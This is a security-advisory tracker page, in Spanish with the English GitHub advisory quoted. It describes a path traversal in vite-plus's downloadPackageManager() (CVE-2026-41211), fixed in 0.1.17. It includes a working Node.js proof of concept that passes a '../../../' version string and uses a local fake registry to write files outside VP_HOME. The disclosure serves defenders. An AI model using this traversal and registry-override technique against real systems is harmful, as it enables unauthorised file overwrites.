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Advisory · GitHub · npm · vite-plus

GHSA-33R3-4WHC-44C2

Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición217 dDesde la divulgación, 15 abr 2026, 8:02 p. m.
Detección215 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.1.17
Monitoreo
Detectada
15 abr 26
16 abr 26
6 may 26
17 nov 26
20 nov 26
15 abr 26
8 jun 26
2 ago 26
26 sept 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.1.17 vite-plus · -1 d desde divulgación
Divulgación Publicada GHSA-33R3-4WHC-44C2 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:

  1. computes the final target directory from the raw `version` string,
  2. removes any pre-existing directory at that target,
  3. renames the extracted package into that location, and
  4. writes executable shim files there.

Because the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.

PoC
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created
Impact

A caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors
  • Normal CLI usage is not affected. All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.
  • The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.
  • No known downstream consumers pass untrusted input to this function.
  • Exploitation requires the attacker to already be executing code in the same Node.js process.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vite-plus< 0.1.17
0.1.17
1.6.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvite-plus
Corregida 0.1.17 -1 d 1.6.0 no afectada
Versiones corregidas0.1.17
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-41211
Otrahttps://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2
Otrahttps://github.com/voidzero-dev/vite-plus

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